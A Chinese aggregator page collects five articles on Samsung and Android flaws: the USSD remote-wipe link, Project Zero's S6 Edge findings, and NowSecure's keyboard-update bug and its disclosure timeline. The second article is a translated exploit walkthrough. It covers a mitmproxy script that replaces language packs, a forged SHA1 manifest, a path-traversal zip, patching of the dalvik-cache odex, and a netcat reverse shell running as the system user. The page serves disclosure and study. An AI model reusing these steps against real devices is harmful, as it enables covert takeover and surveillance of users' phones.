61阅读

三星手机漏洞-多款Android手机遭远程擦除漏洞

发布时间:2017-11-06 所属栏目:黑客利用系统漏洞

一 : 多款Android手机遭远程擦除漏洞

昨日已经报道了三星 Android 手机遭遇远程擦除漏洞的消息:当用户点击网页中的恶意链接时,手机将会被直接擦除所有数据恢复到出厂状态。当时我们认为这是三星 TouchWiz 定制界面的问题,现在我们发现这个问题的根源在旧版的 Android 原生拨号程序中,HTC One X运行 Sense 4.0 和摩托罗拉运行 CyanogenMod同样出现问题,科技博客The Next Web确认这个问题在 HTC Desire系列运行Android 2.2时也存在。因此大量 Android 手机都有这一漏洞。

要检测你的手机是否也存在这个问题,请用手机访问 这个地址,如果你的手机存在这一远程擦除漏洞,访问这个地址后将会自动显示手机的 IMEI 号。

造成这一漏洞的原因是,手机都会支持一种叫USSD代码的特殊拨号方式(例如说在键盘上拨*#06#会显示你的手机IMEI号码),而通过特定的HTML代码,受感染的手机将模拟USSD代码拨号,用户在不知不觉中就会中招。这个安全漏洞其实不难解决,关键在于不是每一个厂家都修补了这一漏洞,不是每个运营商都作出了修正,同样,也不是每个用户都安装了更新补丁。目前的临时解决方案是装一个第三方拨号器程序,因为大部分第三方拨号器程序并没有权限或功能可以直接处理这种特殊字符串。而问题的最终解决当然还是要等待各自手机厂商的系统更新。

Via  TNW

(槐序 供雷锋网专稿,转载请注明来自雷锋网及作者)

二 : 三星手机远程代码执行漏洞分析

摘要

远程攻击者完全有能力控制用户网络流量,操纵三星手机的键盘更新机制,并且在目标手机上使用系统用户权限执行代码。

在三星设备中预装的快速键盘,无法禁用也无法卸载。即使这个快速键盘并非用户默认使用,攻击者也能够利用!

概念验证:https://github.com/nowsecure/samsung-ime-rce-poc/

工作原理

不幸的是,OEM以及运营商经常会在设备中预装一些第三方软件,许多情况下这些软件所拥有的权限特别高。这次的主角是三星的Swift keyboard(快速键盘)

➜ /tmp aapt d badging SamsungIME.apk | head -3 package: name='com.sec.android.inputmethod' versionCode='4' versionName='4.0' sdkVersion:'18' targetSdkVersion:'19' ➜ /tmp shasum SamsungIME.apk 72f05eff8aecb62eee0ec17aa4433b3829fd8d22 SamsungIME.apk➜ /tmp aapt d xmltree SamsungIME.apk AndroidManifest.xml | grep shared A: android:sharedUserId(0x0101000b)="android.uid.system" (Raw: "android.uid.system")

从中我们可以看出这个键盘输入软件使用三星的私有签名,并且在设备中拥有特殊权限。system权限啊,这尼玛!

准备工作

针对此漏洞的攻击媒介需要攻击者能够修改上行流量,该漏洞在重启后可自动触发。

测试机器为一台带USB Wi-Fi工具的Linux VM,所有的http流量都重定向到https://mitmproxy.org/

漏洞的发现

Swift有一个更新机制,运行添加新语言或者升级现有语言。当用户下载一个附加语言包,我们看到网络请求:

GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/az_AZ.zip ← 200 application/zip 995.63kB 601ms

当Zip文件下载完成,就进行提取了:

/data/data/com.sec.android.inputmethod/app_SwiftKey//.root@kltevzw:/data/data/com.sec.android.inputmethod/app_SwiftKey/az_AZ # ls -l -rw------- system system 606366 2015-06-11 15:16 az_AZ_bg_c.lm1 -rw------- system system 1524814 2015-06-11 15:16 az_AZ_bg_c.lm3 -rw------- system system 413 2015-06-11 15:16 charactermap.json -rw------- system system 36 2015-06-11 15:16 extraData.json -rw------- system system 55 2015-06-11 15:16 punctuation.json

可以看到.zip文件被写入system权限,这个权限能操作系统文件了。由于应用程序通过明文方式发送zip文件,我们尝试进行一些修改。

我们可以通过设置一个全球Wi-Fi代理并且在计算机上将设备指向mitmproxy。接着编写一个快速脚本:

def request(context, flow): if not flow.request.host == "kslm.swiftkey.net" or not flow.request.endswith(".zip"): return resp = HTTPResponse( [1, 1], 200, "OK", ODictCaseless([["Content-Type", "application/zip"]]), "helloworld") with open('test_language.zip', 'r') as f: payload = f.read() resp.content = payload resp.headers["Content-Length"] = [len(payload)] flow.reply(resp)

payload十分简单,就包含一个文件

➜ /tmp unzip -l test_keyboard.zip Archive: test_keyboard.zip Length Date Time Name -------- ---- ---- ---- 6 06-11-15 15:33 test -------- ------- 6 1 file
检测/data/data/com.sec.android.inputmethod/app_SwiftKey/ 之后,我们注意到不论是我们的语言包还是测试文件都不存在了。应用程序验证了zip文件,经过后面的探寻,在之前下载的zip文件中发现一个manifest,这个manifest包括了所有语言包,语言包的url,及zip包的SHA1 hash。

在mitmproxy中的请求:
>> GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json ← 200 application/json 15.38kB 310ms
通过jq我们仔细观察这个manifest文件:
➜ curl -s 'http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json' | jq '.[] | select(.name == "English (US)")'
服务器返回一个语言表,语言表的URL,以及他们的SHA1 hash。服务器响应示例(仅选择English payload):
{ "name": "English (US)", "language": "en", "country": "US", "sha1": "3b98ee695b3482bd8128e3bc505b427155aba032", "version": 13, "archive": "http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/en_US.zip", "live": { "sha1": "b846a2433cf5fbfb4f6f9ba6c27b6462bb1a923c", "version": 1181, "archive": "http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/ll_en_US.zip" } }
我们正在下载的语言升级包SHA1经过manifest中的信息验证,如果我们预先计算出payload的SHA1并创建我们自己的manifest文件,我们就可以随意的改变这些zip文件了。此外,对于我们的payload,给先添加一个路径遍历,并试图将文件写入/data/.
➜ samsung_keyboard_hax unzip -l evil.zip Archive: evil.zip Length Date Time Name --------- ---------- ----- ---- 5 2014-08-22 18:52 ../../../../../../../../data/payload --------- ------- 5 1 file
适当的修改 manifest文件之后,我们检查我们payload文件,谢天谢地还在。
➜ samsung_keyboard_hax adbx shell su -c "ls -l /data/payload" -rw------- system system 5 2014-08-22 16:07 payload
文件写入可执行代码

现在,我们可以将任意文件赋予system权限了,我们的目标是就是将他粗暴的写入代码执行。Swift keyboard 自身在其目录并没有可执行代码可供我们覆盖。别吵,我们去别处看看。

对文件进行dex优化之后,会缓存在/data/dalvik-cache/。我们现在需要寻找system组的文件,这样就可以通过system user权限执行。
root@kltevzw:/data/dalvik-cache # /data/local/tmp/busybox find . -type f -group 1000 ./system@framework@colorextractionlib.jar@classes.dex ./system@framework@com.google.android.media.effects.jar@classes.dex ./system@framework@com.google.android.maps.jar@classes.dex ./system@framework@VZWAPNLib.apk@classes.dex ./system@framework@cneapiclient.jar@classes.dex ./system@framework@com.samsung.device.jar@classes.dex ./system@framework@com.quicinc.cne.jar@classes.dex ./system@framework@qmapbridge.jar@classes.dex ./system@framework@rcsimssettings.jar@classes.dex ./system@framework@rcsservice.jar@classes.dex ./system@priv-app@DeviceTest.apk@classes.dex
在列表中,我们要选择一个目标组件自动调用。理想情况下,对于整个odex文件仅替换我们感兴趣的目标。最好选择DeviceTest (/data/dalvik-cache/system@priv-app@DeviceTest.apk@classes.dex) 作为目标。

反编译之后查看manifest文件,我们看到应用确实有sharedUserId=”android.id.system”,并且看到BroadcastReceiver定义,启动它可以自动进行重启设备。
android:sharedUserId="android.uid.system" android:versionCode="1" android:versionName="1.0" package="com.sec.factory" xmlns:android="http://schemas.android.com/apk/res/android"> ... android:name="com.sec.factory.entry.FactoryTestBroadcastReceiver"> android:name="android.intent.action.MEDIA_SCANNER_FINISHED" /> android:scheme="file" /> android:name="android.intent.action.PACKAGE_CHANGED" /> android:scheme="package" /> android:name="android.intent.action.PRE_BOOT_COMPLETED" /> android:name="android.intent.action.BOOT_COMPLETED" /> android:name="com.sec.atd.request_reconnect" /> android:name="android.intent.action.CSC_MODEM_SETTING" />
我们需要为com.sec.factory.entry.FactoryTestBroadcastReceiver生成一个odex文件:
➜cat FactoryTestBroadcastReceiver.java | head package com.sec.factory.entry; import java.lang.Class; import java.io.File; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; public class FactoryTestBroadcastReceiver extends BroadcastReceiver { //Exploit code here }
创建完payload之后,我们可以通过DalvikExchange (dx)工具编译并运行它用来获取一个包含dalvik 字节代码的.jar文件。现在进行一些优化,将jar推送到设备生成odex
ANDROID_DATA=/data/local/tmp dalvikvm -cp /data/local/tmp/ com.sec.factory.entry.FactoryTestBroadcastReceiver
缓存文件所在目录,shell用户可读
shell@kltevzw:/data/local/tmp/dalvik-cache $ ls -l -rw-r--r-- shell shell 3024 2014-07-18 14:09data@local@tmp@payload.jar@classes.dex
将payload注入到我们语言包之后,触发下载并重启。
D/dalvikvm( 6276): DexOpt: --- BEGIN 'payload.jar' (bootstrap=0) --- D/dalvikvm( 6277): DexOpt: load 10ms, verify+opt 6ms, 112652 bytes D/dalvikvm( 6276): DexOpt: --- END 'payload.jar' (success) --- I/dalvikvm( 6366): DexOpt: source file mod time mismatch (3edeaec0 vs 3ed6b326)
作为 .ODEX 头的一部分,其存储CRC32以及classes.dex的修改时间,它根据原始APK的zip文件结构表:
unzip -vl SM-G900V_KOT49H_DeviceTest.apk classes.dex Archive: SM-G900V_KOT49H_DeviceTest.apk Length Method Size Ratio Date Time CRC-32 Name -------- ------ ------- ----- ---- ---- ------ ---- 643852 Defl:N 248479 61% 06-22-11 22:25 f56f855f classes.dex -------- ------- --- ------- 643852 248479 61% 1 file
我们需要从zip文件中拉取这两点信息,以及修补我们经过odex的payload,让其看上去像是从原始DeviceTest.apk生成的。请注意,CRC32以及文件修改时间并不能作为一种安全机制。我们需要明白,当缓存需要更新是因为应用程序需要更新。

修补我们的 .ODEX文件并触发漏洞,将会执行我们的payload。出于测试目的,这里仅仅是一个反向壳
nc 192.168.181.96 8889 id uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1007(log),1010(wifi),1015(sdcard_rw),1021(gps),1023(media_rw),1024(mtp),1028(sdcard_r),2001(cache),3001(net_bt_admin),3002(net_bt),3003(inet),3004(net_raw),3005(net_admin),3009(qcom_diag),41000(u0_a31000) context=u:r:system_app:s0

三 : 三星手机键盘爆严重漏洞,想卸你都卸不掉!

三星手机键盘爆严重漏洞,想卸你都卸不掉!_三星手机漏洞

移动安全公司NowSecure的安全人员瑞安·韦尔顿(Ryan Welton)周二在伦敦举办的黑帽子安全峰会(Black Hat)上公布了存在于三星键盘的一个很严重的漏洞,黑客可以通过这个漏洞窥探用户信息以及控制手机。

韦尔顿发现三星手机上默认安装的SwiftKey键盘应用会扫描语言更新包,包括未经加密的文件,这就给了韦尔顿一个建立欺骗代理服务器并把恶意代码传入手机的机会。在手机中有了后门之后,他就可以通过很多手段扩大自己的权限并最终在用户毫不知情的情况下控制手机。

据悉,早在去年11月NowSecure便已联系了三星对其发出警告。当时三星在12月16日请求给予更多的时间。在12月31日,三星要求给予一年时间修复漏洞,但NowSecure觉得一年时间太长,容易被黑客发现。最后,两家公司在3月份达成协议在三个月后公布此漏洞。在这期间,三星为安卓4.2及以上系统更新了补丁。

上周,韦尔顿从美国无线运营商Verizon和Sprint购买了两部新的三星[www.61k.com)Galaxy S6,发现这两部手机仍然存在安全漏洞。一名NowSecure发言人表示,除了Galaxy S6,三星的主要产品线包括S3、S4、S5、Note3、Note4都可能存在同样的问题。该发言人同时指出,Google Play和Apple Store上的SwiftKey键盘应用并没有这类安全问题。但由于三星默认安装的SwiftKey为系统键盘不能卸载,即使使用其他键盘作为默认键盘,这个漏洞同样可以被利用。

NowSecure表示,截至目前并未发现三星针对此漏洞作出补丁更新。

四 : 谷歌自查安卓漏洞三星S6Edge中枪:有11处漏洞!

日前,谷歌旗下的“BUG猎人”——Project Zero团队对OEM厂商进行了安全检查,但仅仅一周的时间,他们就在三星Galaxy S6 Edge中发现了11个漏洞!

黑客门可以借助这些漏洞制作具有系统特权的文件,窃取用户电子邮件,并在内核中执行代码,同时增加特权和非特权应用。

谷歌还表示在一些设备驱动和媒体处理方面,三星存在着严重的问题。另外还有3个影响较大的逻辑缺陷也很容易被黑客利用。

据悉,三星增添的驱动程序和图像解析组件存在多个问题,黑客只需简单地在Galaxy S6 Edge上下载一个图片就能利用其中的3处缺陷。

目前,三星和谷歌正在正一同研究解决漏洞问题。不过谷歌对此表示担忧,因为三星已经是市场上Android手机的主流,也是谷歌最大的获许可方,过去三星还曾给自己打上“安全”的标签,但结果却如此不尽如人意。

据了解,面对日益显现的安全问题,谷歌此次测试的目的是为了了解Android中的安全机制,并试验能否阻止黑客利用第三方代码中的漏洞。

谷歌自查安卓漏洞 三星S6 Edge中枪:有11处漏洞!

五 : 三星数亿部手机仍受一年前漏洞影响 或遭黑客窃听

凤凰科技讯 北京时间6月17日消息,据《华尔街日报》网络版报道,国外网络安全公司NowSecure近日表示,数亿部三星Galaxy系列手机仍受去年发现的一处安全漏洞影响,存在被黑客入侵的隐患。黑客可以利用该漏洞窃听用户的通话,查看短信和联系人,或打开麦克风录音。

去年秋天,NowSecure的研究人员发现,三星众多手机内置的键盘存在漏洞。黑客可以利用该漏洞欺骗键盘的代理服务系统,从而操控手机的传感器和应用,甚至还能秘密安装恶意软件。

三星在3月向NowSecure表示,已向无线运营商发送修复安装包,三星还希望NowSecure能再等待三个月时间公开此消息,以便运营商能向用户推送安全补丁。

上周,这些研究人员从运营商Verizon和Sprint购买了两部三星Galaxy S6。他们发现这两部手机都存在安全漏洞。黑客利用该漏洞能够知道,用户在更新键盘时,手机如何接收数据。

NowSecure研究人员瑞安·威尔顿(Ryan Welton)计划将在本周二于伦敦举行的黑帽子安全大会上公布该漏洞。

威尔顿发现,利用该漏洞,他可以劫持三星Android系统智能手机内置键盘的更新过程,进而窃听用户的通话,查看短信和联系人,或打开麦克风录音。NowSecure的CEO安德鲁·胡格(Andrew Hoog)称,三星并未对键盘更新进行加密。

NowSecure表示,他们在2014年11月时就已联系了三星。12月16日,三星回复称,需要更多时间来解决漏洞。而到了12月31日,三星称,需要一年的时间才能修复该漏洞。

胡格认为,一年时间太长,因为既然NowSecure研究人员能够发现该漏洞,黑客也能够发现。双方多次沟通,直到今年3月,三星表示,已开发出安全补丁并已向运营商推送。这两家公司约定,可以在三个月后公布该漏洞。

对于三星的懈怠,“我们有些心痛”,胡格说。他表示并不清楚是否有黑客利用了这些漏洞。

在三星开发出安全补丁后,用户能否获得更新,就取决于运营商是否推送该更新,而运营商经常不这样做。或者,一些使用老款手机的用户嫌麻烦而不愿安装更新。

NowSecure称,截至本周,还没有发现有三星手机被打上了补丁。“我们会去另一家运营商T-Mobile那里购买三星手机进行测试”,胡格说。(编译/昷凡)

本文标题:三星手机漏洞-多款Android手机遭远程擦除漏洞
本文地址: http://www.61k.com/1085078.html

61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1